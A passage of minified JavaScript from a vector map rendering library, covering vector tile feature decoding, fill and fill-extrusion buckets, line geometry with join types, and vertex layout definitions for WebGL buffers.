Yn=nh(kr,Jr),Gn=0;Gn<Yn.length;Gn+=3)this.indexArray.emplaceBack(vr+Yn[Gn],vr+Yn[Gn+1],vr+Yn[Gn+2]);Zt.vertexLength+=dt,Zt.primitiveLength+=Yn.length/3}this.programConfigurations.populatePaintArrays(this.layoutVertexArray.length,D,ee,me,ce)},se("FillBucket",dl,{omit:["layers","patternFeatures"]});var Ed=new _i({"fill-sort-key":new pa(Ht.layout_fill["fill-sort-key"])}),Cd=new _i({"fill-antialias":new la(Ht.paint_fill["fill-antialias"]),"fill-opacity":new pa(Ht.paint_fill["fill-opacity"]),"fill-color":new pa(Ht.paint_fill["fill-color"]),"fill-outline-color":new pa(Ht.paint_fill["fill-outline-color"]),"fill-translate":new la(Ht.paint_fill["fill-translate"]),"fill-translate-anchor":new la(Ht.paint_fill["fill-translate-anchor"]),"fill-pattern":new li(Ht.paint_fill["fill-pattern"])}),Ld={paint:Cd,layout:Ed},Pd=function(R){function D(U){R.call(this,U,Ld)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.recalculate=function(ee,ce){R.prototype.recalculate.call(this,ee,ce);var me=this.paint._values["fill-outline-color"];me.value.kind==="constant"&&me.value.value===void 0&&(this.paint._values["fill-outline-color"]=this.paint._values["fill-color"])},D.prototype.createBucket=function(ee){return new dl(ee)},D.prototype.queryRadius=function(){return Ys(this.paint.get("fill-translate"))},D.prototype.queryIntersectsFeature=function(ee,ce,me,Se,We,at,dt){var xt=Cs(ee,this.paint.get("fill-translate"),this.paint.get("fill-translate-anchor"),at.angle,dt);return Ei(xt,Se)},D.prototype.isTileClipped=function(){return!0},D}(vi),Rd=ui([{name:"a_pos",components:2,type:"Int16"},{name:"a_normal_ed",components:4,type:"Int16"}],4),Fh=Rd.members,Oh=Bf;function Bf(R,D,U,ee,ce){this.properties={},this.extent=U,this.type=0,this._pbf=R,this._geometry=-1,this._keys=ee,this._values=ce,R.readFields(Dd,this,D)}function Dd(R,D,U){R==1?D.id=U.readVarint():R==2?Id(U,D):R==3?D.type=U.readVarint():R==4&&(D._geometry=U.pos)}function Id(R,D){for(var U=R.readVarint()+R.pos;R.pos<U;){var ee=D._keys[R.readVarint()],ce=D._values[R.readVarint()];D.properties[ee]=ce}}Bf.types=["Unknown","Point","LineString","Polygon"],Bf.prototype.loadGeometry=function(){var R=this._pbf;R.pos=this._geometry;for(var D=R.readVarint()+R.pos,U=1,ee=0,ce=0,me=0,Se=[],We;R.pos<D;){if(ee<=0){var at=R.readVarint();U=at&7,ee=at>>3}if(ee--,U===1||U===2)ce+=R.readSVarint(),me+=R.readSVarint(),U===1&&(We&&Se.push(We),We=[]),We.push(new t(ce,me));else if(U===7)We&&We.push(We[0].clone());else throw new Error("unknown command "+U)}return We&&Se.push(We),Se},Bf.prototype.bbox=function(){var R=this._pbf;R.pos=this._geometry;for(var D=R.readVarint()+R.pos,U=1,ee=0,ce=0,me=0,Se=1/0,We=-1/0,at=1/0,dt=-1/0;R.pos<D;){if(ee<=0){var xt=R.readVarint();U=xt&7,ee=xt>>3}if(ee--,U===1||U===2)ce+=R.readSVarint(),me+=R.readSVarint(),ce<Se&&(Se=ce),ce>We&&(We=ce),me<at&&(at=me),me>dt&&(dt=me);else if(U!==7)throw new Error("unknown command "+U)}return[Se,at,We,dt]},Bf.prototype.toGeoJSON=function(R,D,U){var ee=this.extent*Math.pow(2,U),ce=this.extent*R,me=this.extent*D,Se=this.loadGeometry(),We=Bf.types[this.type],at,dt;function xt(Zt){for(var vr=0;vr<Zt.length;vr++){var kr=Zt[vr],Jr=180-(kr.y+me)*360/ee;Zt[vr]=[(kr.x+ce)*360/ee-180,360/Math.PI*Math.atan(Math.exp(Jr*Math.PI/180))-90]}}switch(this.type){case 1:var Bt=[];for(at=0;at<Se.length;at++)Bt[at]=Se[at][0];Se=Bt,xt(Se);break;case 2:for(at=0;at<Se.length;at++)xt(Se[at]);break;case 3:for(Se=kd(Se),at=0;at<Se.length;at++)for(dt=0;dt<Se[at].length;dt++)xt(Se[at][dt]);break}Se.length===1?Se=Se[0]:We="Multi"+We;var qt={type:"Feature",geometry:{type:We,coordinates:Se},properties:this.properties};return"id"in this&&(qt.id=this.id),qt};function kd(R){var D=R.length;if(D<=1)return[R];for(var U=[],ee,ce,me=0;me<D;me++){var Se=_d(R[me]);Se!==0&&(ce===void 0&&(ce=Se<0),ce===Se<0?(ee&&U.push(ee),ee=[R[me]]):ee.push(R[me]))}return ee&&U.push(ee),U}function _d(R){for(var D=0,U=0,ee=R.length,ce=ee-1,me,Se;U<ee;ce=U++)me=R[U],Se=R[ce],D+=(Se.x-me.x)*(me.y+Se.y);return D}var Bh=Nh;function Nh(R,D){this.version=1,this.name=null,this.extent=4096,this.length=0,this._pbf=R,this._keys=[],this._values=[],this._features=[],R.readFields(zd,this,D),this.length=this._features.length}function zd(R,D,U){R===15?D.version=U.readVarint():R===1?D.name=U.readString():R===5?D.extent=U.readVarint():R===2?D._features.push(U.pos):R===3?D._keys.push(U.readString()):R===4&&D._values.push(Fd(U))}function Fd(R){for(var D=null,U=R.readVarint()+R.pos;R.pos<U;){var ee=R.readVarint()>>3;D=ee===1?R.readString():ee===2?R.readFloat():ee===3?R.readDouble():ee===4?R.readVarint64():ee===5?R.readVarint():ee===6?R.readSVarint():ee===7?R.readBoolean():null}return D}Nh.prototype.feature=function(R){if(R<0||R>=this._features.length)throw new Error("feature index out of bounds");this._pbf.pos=this._features[R];var D=this._pbf.readVarint()+this._pbf.pos;return new Oh(this._pbf,D,this.extent,this._keys,this._values)};var Od=Bd;function Bd(R,D){this.layers=R.readFields(Nd,{},D)}function Nd(R,D,U){if(R===3){var ee=new Bh(U,U.readVarint()+U.pos);ee.length&&(D[ee.name]=ee)}}var Ud=Od,Hd=Oh,Vd=Bh,Nf={VectorTile:Ud,VectorTileFeature:Hd,VectorTileLayer:Vd},Gd=Nf.VectorTileFeature.types,Wd=500,fh=Math.pow(2,13);function hc(R,D,U,ee,ce,me,Se,We){R.emplaceBack(D,U,Math.floor(ee*fh)*2+Se,ce*fh*2,me*fh*2,Math.round(We))}var pl=function(D){this.zoom=D.zoom,this.overscaling=D.overscaling,this.layers=D.layers,this.layerIds=this.layers.map(function(U){return U.id}),this.index=D.index,this.hasPattern=!1,this.layoutVertexArray=new Nu,this.indexArray=new hl,this.programConfigurations=new Da(Fh,D.layers,D.zoom),this.segments=new H,this.stateDependentLayerIds=this.layers.filter(function(U){return U.isStateDependent()}).map(function(U){return U.id})};pl.prototype.populate=function(D,U,ee){this.features=[],this.hasPattern=lh("fill-extrusion",this.layers,U);for(var ce=0,me=D;ce<me.length;ce+=1){var Se=me[ce],We=Se.feature,at=Se.id,dt=Se.index,xt=Se.sourceLayerIndex,Bt=this.layers[0]._featureFilter.needGeometry,qt={type:We.type,id:at,properties:We.properties,geometry:Bt?ti(We):[]};if(this.layers[0]._featureFilter.filter(new In(this.zoom),qt,ee)){var Zt={id:at,sourceLayerIndex:xt,index:dt,geometry:Bt?qt.geometry:ti(We),properties:We.properties,type:We.type,patterns:{}};typeof We.id<"u"&&(Zt.id=We.id),this.hasPattern?this.features.push(uh("fill-extrusion",this.layers,Zt,this.zoom,U)):this.addFeature(Zt,Zt.geometry,dt,ee,{}),U.featureIndex.insert(We,Zt.geometry,dt,xt,this.index,!0)}}},pl.prototype.addFeatures=function(D,U,ee){for(var ce=0,me=this.features;ce<me.length;ce+=1){var Se=me[ce],We=Se.geometry;this.addFeature(Se,We,Se.index,U,ee)}},pl.prototype.update=function(D,U,ee){this.stateDependentLayers.length&&this.programConfigurations.updatePaintArrays(D,U,this.stateDependentLayers,ee)},pl.prototype.isEmpty=function(){return this.layoutVertexArray.length===0},pl.prototype.uploadPending=function(){return!this.uploaded||this.programConfigurations.needsUpload},pl.prototype.upload=function(D){this.uploaded||(this.layoutVertexBuffer=D.createVertexBuffer(this.layoutVertexArray,Fh),this.indexBuffer=D.createIndexBuffer(this.indexArray)),this.programConfigurations.upload(D),this.uploaded=!0},pl.prototype.destroy=function(){this.layoutVertexBuffer&&(this.layoutVertexBuffer.destroy(),this.indexBuffer.destroy(),this.programConfigurations.destroy(),this.segments.destroy())},pl.prototype.addFeature=function(D,U,ee,ce,me){for(var Se=0,We=sh(U,Wd);Se<We.length;Se+=1){for(var at=We[Se],dt=0,xt=0,Bt=at;xt<Bt.length;xt+=1){var qt=Bt[xt];dt+=qt.length}for(var Zt=this.segments.prepareSegment(4,this.layoutVertexArray,this.indexArray),vr=0,kr=at;vr<kr.length;vr+=1){var Jr=kr[vr];if(Jr.length!==0&&!Zd(Jr))for(var Zr=0,mn=0;mn<Jr.length;mn++){var hn=Jr[mn];if(mn>=1){var yn=Jr[mn-1];if(!Yd(hn,yn)){Zt.vertexLength+4>H.MAX_VERTEX_ARRAY_LENGTH&&(Zt=this.segments.prepareSegment(4,this.layoutVertexArray,this.indexArray));var Cn=hn.sub(yn)._perp()._unit(),_n=yn.dist(hn);Zr+_n>32768&&(Zr=0),hc(this.layoutVertexArray,hn.x,hn.y,Cn.x,Cn.y,0,0,Zr),hc(this.layoutVertexArray,hn.x,hn.y,Cn.x,Cn.y,0,1,Zr),Zr+=_n,hc(this.layoutVertexArray,yn.x,yn.y,Cn.x,Cn.y,0,0,Zr),hc(this.layoutVertexArray,yn.x,yn.y,Cn.x,Cn.y,0,1,Zr);var Yn=Zt.vertexLength;this.indexArray.emplaceBack(Yn,Yn+2,Yn+1),this.indexArray.emplaceBack(Yn+1,Yn+2,Yn+3),Zt.vertexLength+=4,Zt.primitiveLength+=2}}}}if(Zt.vertexLength+dt>H.MAX_VERTEX_ARRAY_LENGTH&&(Zt=this.segments.prepareSegment(dt,this.layoutVertexArray,this.indexArray)),Gd[D.type]==="Polygon"){for(var Gn=[],ga=[],aa=Zt.vertexLength,ua=0,Pa=at;ua<Pa.length;ua+=1){var va=Pa[ua];if(va.length!==0){va!==at[0]&&ga.push(Gn.length/2);for(var da=0;da<va.length;da++){var _a=va[da];hc(this.layoutVertexArray,_a.x,_a.y,0,0,1,1,0),Gn.push(_a.x),Gn.push(_a.y)}}}for(var Ea=nh(Gn,ga),Ya=0;Ya<Ea.length;Ya+=3)this.indexArray.emplaceBack(aa+Ea[Ya],aa+Ea[Ya+2],aa+Ea[Ya+1]);Zt.primitiveLength+=Ea.length/3,Zt.vertexLength+=dt}}this.programConfigurations.populatePaintArrays(this.layoutVertexArray.length,D,ee,me,ce)},se("FillExtrusionBucket",pl,{omit:["layers","features"]});function Yd(R,D){return R.x===D.x&&(R.x<0||R.x>xa)||R.y===D.y&&(R.y<0||R.y>xa)}function Zd(R){return R.every(function(D){return D.x<0})||R.every(function(D){return D.x>xa})||R.every(function(D){return D.y<0})||R.every(function(D){return D.y>xa})}var Xd=new _i({"fill-extrusion-opacity":new la(Ht["paint_fill-extrusion"]["fill-extrusion-opacity"]),"fill-extrusion-color":new pa(Ht["paint_fill-extrusion"]["fill-extrusion-color"]),"fill-extrusion-translate":new la(Ht["paint_fill-extrusion"]["fill-extrusion-translate"]),"fill-extrusion-translate-anchor":new la(Ht["paint_fill-extrusion"]["fill-extrusion-translate-anchor"]),"fill-extrusion-pattern":new li(Ht["paint_fill-extrusion"]["fill-extrusion-pattern"]),"fill-extrusion-height":new pa(Ht["paint_fill-extrusion"]["fill-extrusion-height"]),"fill-extrusion-base":new pa(Ht["paint_fill-extrusion"]["fill-extrusion-base"]),"fill-extrusion-vertical-gradient":new la(Ht["paint_fill-extrusion"]["fill-extrusion-vertical-gradient"])}),jd={paint:Xd},Kd=function(R){function D(U){R.call(this,U,jd)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.createBucket=function(ee){return new pl(ee)},D.prototype.queryRadius=function(){return Ys(this.paint.get("fill-extrusion-translate"))},D.prototype.is3D=function(){return!0},D.prototype.queryIntersectsFeature=function(ee,ce,me,Se,We,at,dt,xt){var Bt=Cs(ee,this.paint.get("fill-extrusion-translate"),this.paint.get("fill-extrusion-translate-anchor"),at.angle,dt),qt=this.paint.get("fill-extrusion-height").evaluate(ce,me),Zt=this.paint.get("fill-extrusion-base").evaluate(ce,me),vr=$d(Bt,xt,at,0),kr=Qd(Se,Zt,qt,xt),Jr=kr[0],Zr=kr[1];return Jd(Jr,Zr,vr)},D}(vi);function vc(R,D){return R.x*D.x+R.y*D.y}function Uh(R,D){if(R.length===1){for(var U=0,ee=D[U++],ce;!ce||ee.equals(ce);)if(ce=D[U++],!ce)return 1/0;for(;U<D.length;U++){var me=D[U],Se=R[0],We=ce.sub(ee),at=me.sub(ee),dt=Se.sub(ee),xt=vc(We,We),Bt=vc(We,at),qt=vc(at,at),Zt=vc(dt,We),vr=vc(dt,at),kr=xt*qt-Bt*Bt,Jr=(qt*Zt-Bt*vr)/kr,Zr=(xt*vr-Bt*Zt)/kr,mn=1-Jr-Zr,hn=ee.z*mn+ce.z*Jr+me.z*Zr;if(isFinite(hn))return hn}return 1/0}else{for(var yn=1/0,Cn=0,_n=D;Cn<_n.length;Cn+=1){var Yn=_n[Cn];yn=Math.min(yn,Yn.z)}return yn}}function Jd(R,D,U){var ee=1/0;Ei(U,D)&&(ee=Uh(U,D[0]));for(var ce=0;ce<D.length;ce++)for(var me=D[ce],Se=R[ce],We=0;We<me.length-1;We++){var at=me[We],dt=me[We+1],xt=Se[We],Bt=Se[We+1],qt=[at,dt,Bt,xt,at];Ia(U,qt)&&(ee=Math.min(ee,Uh(U,qt)))}return ee===1/0?!1:ee}function Qd(R,D,U,ee){for(var ce=[],me=[],Se=ee[8]*D,We=ee[9]*D,at=ee[10]*D,dt=ee[11]*D,xt=ee[8]*U,Bt=ee[9]*U,qt=ee[10]*U,Zt=ee[11]*U,vr=0,kr=R;vr<kr.length;vr+=1){for(var Jr=kr[vr],Zr=[],mn=[],hn=0,yn=Jr;hn<yn.length;hn+=1){var Cn=yn[hn],_n=Cn.x,Yn=Cn.y,Gn=ee[0]*_n+ee[4]*Yn+ee[12],ga=ee[1]*_n+ee[5]*Yn+ee[13],aa=ee[2]*_n+ee[6]*Yn+ee[14],ua=ee[3]*_n+ee[7]*Yn+ee[15],Pa=Gn+Se,va=ga+We,da=aa+at,_a=ua+dt,Ea=Gn+xt,Ya=ga+Bt,oi=aa+qt,Za=ua+Zt,Xa=new t(Pa/_a,va/_a);Xa.z=da/_a,Zr.push(Xa);var Va=new t(Ea/Za,Ya/Za);Va.z=oi/Za,mn.push(Va)}ce.push(Zr),me.push(mn)}return[ce,me]}function $d(R,D,U,ee){for(var ce=[],me=0,Se=R;me<Se.length;me+=1){var We=Se[me],at=[We.x,We.y,ee,1];Pc(at,at,D),ce.push(new t(at[0]/at[3],at[1]/at[3]))}return ce}var qd=ui([{name:"a_pos_normal",components:2,type:"Int16"},{name:"a_data",components:4,type:"Uint8"}],4),Hh=qd.members,ep=Nf.VectorTileFeature.types,Vh=63,tp=Math.cos(75/2*(Math.PI/180)),rp=15,np=20,ap=15,Gh=1/2,Wh=Math.pow(2,ap-1)/Gh,Vo=function(D){this.zoom=D.zoom,this.overscaling=D.overscaling,this.layers=D.layers,this.layerIds=this.layers.map(function(U){return U.id}),this.index=D.index,this.hasPattern=!1,this.patternFeatures=[],this.layoutVertexArray=new Lf,this.indexArray=new hl,this.programConfigurations=new Da(Hh,D.layers,D.zoom),this.segments=new H,this.stateDependentLayerIds=this.layers.filter(function(U){return U.isStateDependent()}).map(function(U){return U.id})};Vo.prototype.populate=function(D,U,ee){this.hasPattern=lh("line",this.layers,U);for(var ce=this.layers[0].layout.get("line-sort-key"),me=[],Se=0,We=D;Se<We.length;Se+=1){var at=We[Se],dt=at.feature,xt=at.id,Bt=at.index,qt=at.sourceLayerIndex,Zt=this.layers[0]._featureFilter.needGeometry,vr={type:dt.type,id:xt,properties:dt.properties,geometry:Zt?ti(dt):[]};if(this.layers[0]._featureFilter.filter(new In(this.zoom),vr,ee)){Zt||(vr.geometry=ti(dt));var kr=ce?ce.evaluate(vr,{},ee):void 0,Jr={id:xt,properties:dt.properties,type:dt.type,sourceLayerIndex:qt,index:Bt,geometry:vr.geometry,patterns:{},sortKey:kr};me.push(Jr)}}ce&&me.sort(function(aa,ua){return aa.sortKey-ua.sortKey});for(var Zr=0,mn=me;Zr<mn.length;Zr+=1){var hn=mn[Zr],yn=hn,Cn=yn.geometry,_n=yn.index,Yn=yn.sourceLayerIndex;if(this.hasPattern){var Gn=uh("line",this.layers,hn,this.zoom,U);this.patternFeatures.push(Gn)}else this.addFeature(hn,Cn,_n,ee,{});var ga=D[_n].feature;U.featureIndex.insert(ga,Cn,_n,Yn,this.index)}},Vo.prototype.update=function(D,U,ee){this.stateDependentLayers.length&&this.programConfigurations.updatePaintArrays(D,U,this.stateDependentLayers,ee)},Vo.prototype.addFeatures=function(D,U,ee){for(var ce=0,me=this.patternFeatures;ce<me.length;ce+=1){var Se=me[ce];this.addFeature(Se,Se.geometry,Se.index,U,ee)}},Vo.prototype.isEmpty=function(){return this.layoutVertexArray.length===0},Vo.prototype.uploadPending=function(){return!this.uploaded||this.programConfigurations.needsUpload},Vo.prototype.upload=function(D){this.uploaded||(this.layoutVertexBuffer=D.createVertexBuffer(this.layoutVertexArray,Hh),this.indexBuffer=D.createIndexBuffer(this.indexArray)),this.programConfigurations.upload(D),this.uploaded=!0},Vo.prototype.destroy=function(){this.layoutVertexBuffer&&(this.layoutVertexBuffer.destroy(),this.indexBuffer.destroy(),this.programConfigurations.destroy(),this.segments.destroy())},Vo.prototype.addFeature=function(D,U,ee,ce,me){for(var Se=this.layers[0].layout,We=Se.get("line-join").evaluate(D,{}),at=Se.get("line-cap"),dt=Se.get("line-miter-limit"),xt=Se.get("line-round-limit"),Bt=0,qt=U;Bt<qt.length;Bt+=1){var Zt=qt[Bt];this.addLine(Zt,D,We,at,dt,xt)}this.programConfigurations.populatePaintArrays(this.layoutVertexArray.length,D,ee,me,ce)},Vo.prototype.addLine=function(D,U,ee,ce,me,Se){if(this.distance=0,this.scaledDistance=0,this.totalDistance=0,U.properties&&U.properties.hasOwnProperty("mapbox_clip_start")&&U.properties.hasOwnProperty("mapbox_clip_end")){this.clipStart=+U.properties.mapbox_clip_start,this.clipEnd=+U.properties.mapbox_clip_end;for(var We=0;We<D.length-1;We++)this.totalDistance+=D[We].dist(D[We+1]);this.updateScaledDistance()}for(var at=ep[U.type]==="Polygon",dt=D.length;dt>=2&&D[dt-1].equals(D[dt-2]);)dt--;for(var xt=0;xt<dt-1&&D[xt].equals(D[xt+1]);)xt++;if(!(dt<(at?3:2))){ee==="bevel"&&(me=1.05);var Bt=this.overscaling<=16?rp*xa/(512*this.overscaling):0,qt=this.segments.prepareSegment(dt*10,this.layoutVertexArray,this.indexArray),Zt,vr=void 0,kr=void 0,Jr=void 0,Zr=void 0;this.e1=this.e2=-1,at&&(Zt=D[dt-2],Zr=D[xt].sub(Zt)._unit()._perp());for(var mn=xt;mn<dt;mn++)if(kr=mn===dt-1?at?D[xt+1]:void 0:D[mn+1],!(kr&&D[mn].equals(kr))){Zr&&(Jr=Zr),Zt&&(vr=Zt),Zt=D[mn],Zr=kr?kr.sub(Zt)._unit()._perp():Jr,Jr=Jr||Zr;var hn=Jr.add(Zr);(hn.x!==0||hn.y!==0)&&hn._unit();var yn=Jr.x*Zr.x+Jr.y*Zr.y,Cn=hn.x*Zr.x+hn.y*Zr.y,_n=Cn!==0?1/Cn:1/0,Yn=2*Math.sqrt(2-2*Cn),Gn=Cn<tp&&vr&&kr,ga=Jr.x*Zr.y-Jr.y*Zr.x>0;if(Gn&&mn>xt){var aa=Zt.dist(vr);if(aa>2*Bt){var ua=Zt.sub(Zt.sub(vr)._mult(Bt/aa)._round());this.updateDistance(vr,ua),this.addCurrentVertex(ua,Jr,0,0,qt),vr=ua}}var Pa=vr&&kr,va=Pa?ee:at?"butt":ce;if(Pa&&va==="round"&&(_n<Se?va="miter":_n<=2&&(va="fakeround")),va==="miter"&&_n>me&&(va="bevel"),va==="bevel"&&(_n>2&&(va="flipbevel"),_n<me&&(va="miter")),vr&&this.updateDistance(vr,Zt),va==="miter")hn._mult(_n),this.addCurrentVertex(Zt,hn,0,0,qt);else if(va==="flipbevel"){if(_n>100)hn=Zr.mult(-1);else{var da=_n*Jr.add(Zr).mag()/Jr.sub(Zr).mag();hn._perp()._mult(da*(ga?-1:1))}this.addCurrentVertex(Zt,hn,0,0,qt),this.addCurrentVertex(Zt,hn.mult(-1),0,0,qt)}else if(va==="bevel"||va==="fakeround"){var _a=-Math.sqrt(_n*_n-1),Ea=ga?_a:0,Ya=ga?0:_a;if(vr&&this.addCurrentVertex(Zt,Jr,Ea,Ya,qt),va==="fakeround")for(var oi=Math.round(Yn*180/Math.PI/np),Za=1;Za<oi;Za++){var Xa=Za/oi;if(Xa!==.5){var Va=Xa-.5,hi=1.0904+yn*(-3.2452+yn*(3.55645-yn*1.43519)),pi=.848013+yn*(-1.06021+yn*.215638);Xa=Xa+Xa*Va*(Xa-1)*(hi*Va*Va+pi)}var Ci=Zr.sub(Jr)._mult(Xa)._add(Jr)._unit()._mult(ga?-1:1);this.addHalfVertex(Zt,Ci.x,Ci.y,!1,ga,0,qt)}kr&&this.addCurrentVertex(Zt,Zr,-Ea,-Ya,qt)}else if(va==="butt")this.addCurrentVertex(Zt,hn,0,0,qt);else if(va==="square"){var Ri=vr?1:-1;this.addCurrentVertex(Zt,hn,Ri,Ri,qt)}else va==="round"&&(vr&&(this.addCurrentVertex(Zt,Jr,0,0,qt),this.addCurrentVertex(Zt,Jr,1,1,qt,!0)),kr&&(this.addCurrentVertex(Zt,Zr,-1,-1,qt,!0),this.addCurrentVertex(Zt,Zr,0,0,qt)));if(Gn&&mn<dt-1){var Qi=Zt.dist(kr);if(Qi>2*Bt){var Vi=Zt.add(kr.sub(Zt)._mult(Bt/Qi)._round());this.updateDistance(Zt,Vi),this.addCurrentVertex(Vi,Zr,0,0,qt),Zt=Vi}}}}},Vo.prototype.addCurrentVertex=function(D,U,ee,ce,me,Se){Se===void 0&&(Se=!1);var We=U.x+U.y*ee,at=U.y-U.x*ee,dt=-U.x+U.y*ce,xt=-U.y-U.x*ce;this.addHalfVertex(D,We,at,Se,!1,ee,me),this.addHalfVertex(D,dt,xt,Se,!0,-ce,me),this.distance>Wh/2&&this.totalDistance===0&&(this.distance=0,this.addCurrentVertex(D,U,ee,ce,me,Se))},Vo.prototype.addHalfVertex=function(D,U,ee,ce,me,Se,We){var at=D.x,dt=D.y,xt=this.scaledDistance*Gh;this.layoutVertexArray.emplaceBack((at<<1)+(ce?1:0),(dt<<1)+(me?1:0),Math.round(Vh*U)+128,Math.round(Vh*ee)+128,(Se===0?0:Se<0?-1:1)+1|(xt&63)<<2,xt>>6);var Bt=We.vertexLength++;this.e1>=0&&this.e2>=0&&(this.indexArray.emplaceBack(this.e1,this.e2,Bt),We.primitiveLength++),me?this.e2=Bt:this.e1=Bt},Vo.prototype.updateScaledDistance=function(){this.scaledDistance=this.totalDistance>0?(this.clipStart+(this.clipEnd-this.clipStart)*this.distance/this.totalDistance)*(Wh-1):this.distance},Vo.prototype.updateDistance=function(D,U){this.distance+=D.dist(U),this.updateScaledDistance()},se("LineBucket",Vo,{omit:["layers","patternFeatures"]});var ip=new _i({"line-cap":new la(Ht.layout_line["line-cap"]),"line-join":new pa(Ht.layout_line["line-join"]),"line-miter-limit":new la(Ht.layout_line["line-miter-limit"]),"line-round-limit":new la(Ht.layout_line["line-round-limit"]),"line-sort-key":new pa(Ht.layout_line["line-sort-key"])}),op=new _i({"line-opacity":new pa(Ht.paint_line["line-opacity"]),"line-color":new pa(Ht.paint_line["line-color"]),"line-translate":new la(Ht.paint_line["line-translate"]),"line-translate-anchor":new la(Ht.paint_line["line-translate-anchor"]),"line-width":new pa(Ht.paint_line["line-width"]),"line-gap-width":new pa(Ht.paint_line["line-gap-width"]),"line-offset":new pa(Ht.paint_line["line-offset"]),"line-blur":new pa(Ht.paint_line["line-blur"]),"line-dasharray":new Ai(Ht.paint_line["line-dasharray"]),"line-pattern":new li(Ht.paint_line["line-pattern"]),"line-gradient":new uo(Ht.paint_line["line-gradient"])}),Yh={paint:op,layout:ip},sp=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.possiblyEvaluate=function(ee,ce){return ce=new In(Math.floor(ce.zoom),{now:ce.now,fadeDuration:ce.fadeDuration,zoomHistory:ce.zoomHistory,transition:ce.transition}),R.prototype.possiblyEvaluate.call(this,ee,ce)},D.prototype.evaluate=function(ee,ce,me,Se){return ce=i({},ce,{zoom:Math.floor(ce.zoom)}),R.prototype.evaluate.call(this,ee,ce,me,Se)},D}(pa),Zh=new sp(Yh.paint.properties["line-width"].specification);Zh.useIntegerZoom=!0;var lp=function(R){function D(U){R.call(this,U,Yh)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._handleSpecialPaintPropertyUpdate=function(ee){ee==="line-gradient"&&this._updateGradient()},D.prototype._updateGradient=function(){var ee=this._transitionablePaint._values["line-gradient"].value.expression;this.gradient=Ph(ee,"lineProgress"),this.gradientTexture=null},D.prototype.recalculate=function(ee,ce){R.prototype.recalculate.call(this,ee,ce),this.paint._values["line-floorwidth"]=Zh.possiblyEvaluate(this._transitioningPaint._values["line-width"].value,ee)},D.prototype.createBucket=function(ee){return new Vo(ee)},D.prototype.queryRadius=function(ee){var ce=ee,me=Xh(qo("line-width",this,ce),qo("line-gap-width",this,ce)),Se=qo("line-offset",this,ce);return me/2+Math.abs(Se)+Ys(this.paint.get("line-translate"))},D.prototype.queryIntersectsFeature=function(ee,ce,me,Se,We,at,dt){var xt=Cs(ee,this.paint.get("line-translate"),this.paint.get("line-translate-anchor"),at.angle,dt),Bt=dt/2*Xh(this.paint.get("line-width").evaluate(ce,me),this.paint.get("line-gap-width").evaluate(ce,me)),qt=this.paint.get("line-offset").evaluate(ce,me);return qt&&(Se=up(Se,qt*dt)),Bi(xt,Se,Bt)},D.prototype.isTileClipped=function(){return!0},D}(vi);function Xh(R,D){return D>0?D+2*R:R}function up(R,D){for(var U=[],ee=new t(0,0),ce=0;ce<R.length;ce++){for(var me=R[ce],Se=[],We=0;We<me.length;We++){var at=me[We-1],dt=me[We],xt=me[We+1],Bt=We===0?ee:dt.sub(at)._unit()._perp(),qt=We===me.length-1?ee:xt.sub(dt)._unit()._perp(),Zt=Bt._add(qt)._unit(),vr=Zt.x*qt.x+Zt.y*qt.y;Zt._mult(1/vr),Se.push(Zt._mult(D)._add(dt))}U.push(Se)}return U}var ch=ui([{name:"a_pos_offset",components:4,type:"Int16"},{name:"a_data",components:4,type:"Uint16"},{name:"a_pixeloffset",components:4,type:"Int16"}],4),fp=ui([{name:"a_projected_pos",components:3,type:"Float32"}],4);ui([{name:"a_fade_opacity",components:1,type:"Uint32"}],4);var cp=ui([{name:"a_placed",components:2,type:"Uint8"},{name:"a_shift",components:2,type:"Float32"}]);ui([{type:"Int16",name:"anchorPointX"},{type:"Int16",name:"anchorPointY"},{type:"Int16",name:"x1"},{type:"Int16",name:"y1"},{type:"Int16",name:"x2"},{type:"Int16",name:"y2"},{type:"Uint32",name:"featureIndex"},{type:"Uint16",name:"sourceLayerIndex"},{type:"Uint16",name:"bucketIndex"}]);var jh=ui([{name:"a_pos",components:2,type:"Int16"},{name:"a_anchor_pos",components:2,type:"Int16"},{name:"a_extrude",components:2,type:"Int16"}],4),hp=ui([{name:"a_pos",components:2,type:"Float32"},{name:"a_radius",components:1,type:"Float32"},{name:"a_flags",components:2,type:"Int16"}],4);ui([{name:"triangle",components:3,type:"Uint16"}]),ui([{type:"Int16",name:"anchorX"},{type:"Int16",name:"anchorY"},{type:"Uint16",name:"glyphStartIndex"},{type:"Uint16",name:"numGlyphs"},{type:"Uint32",name:"vertexStartIndex"},{type:"Uint32",name:"lineStartIndex"},{type:"Uint32",name:"lineLength"},{type:"Uint16",name:"segment"},{type:"Uint16",name:"lowerSize"},{type:"Uint16",name:"upperSize"},{type:"Float32",name:"lineOffsetX"},{type:"Float32",name:"lineOffsetY"},{type:"Uint8",name:"writingMode"},{type:"Uint8",name:"placedOrientation"},{type:"Uint8",name:"hidden"},{type:"Uint32",name:"crossTileID"},{type:"Int16",name:"associatedIconIndex"}]),ui([{type:"Int16",name:"anchorX"},{type:"Int16",name:"anchorY"},{type:"Int16",name:"rightJustifiedTextSymbolIndex"},{type:"Int16",name:"centerJustifiedTextSymbolIndex"},{type:"Int16",name:"leftJustifiedTextSymbolIndex"},{type:"Int16",name:"verticalPlacedTextSymbolIndex"},{type:"Int16",name:"placedIconSymbolIndex"},{type:"Int16",name:"verticalPlacedIconSymbolIndex"},{type:"Uint16",name:"key"},{type:"Uint16",name:"textBoxStartIndex"},{type:"Uint16",name:"textBoxEndIndex"},{type:"Uint16",name:"verticalTextBoxStartIndex"},{type:"Uint16",name:"verticalTextBoxEndIndex"},{type:"Uint16",name:"iconBoxStartIndex"},{type:"Uint16",name:"iconBoxEndIndex"},{type:"Uint16",name:"verticalIconBoxStartIndex"},{type:"Uint16",name:"verticalIconBoxEndIndex"},{type:"Uint16",name:"featureIndex"},{type:"Uint16",name:"numHorizontalGlyphVertices"},{type:"Uint16",name:"numVerticalGlyphVertices"},{type:"Uint16",name:"numIconVertices"},{type:"Uint16",name:"numVerticalIconVertices"},{type:"Uint16",name:"useRuntimeCollisionCircles"},{type:"Uint32",name:"crossTileID"},{type:"Float32",name:"textBoxScale"},{type:"Float32",components:2,name:"textOffset"},{type:"Float32",name:"collisionCircleD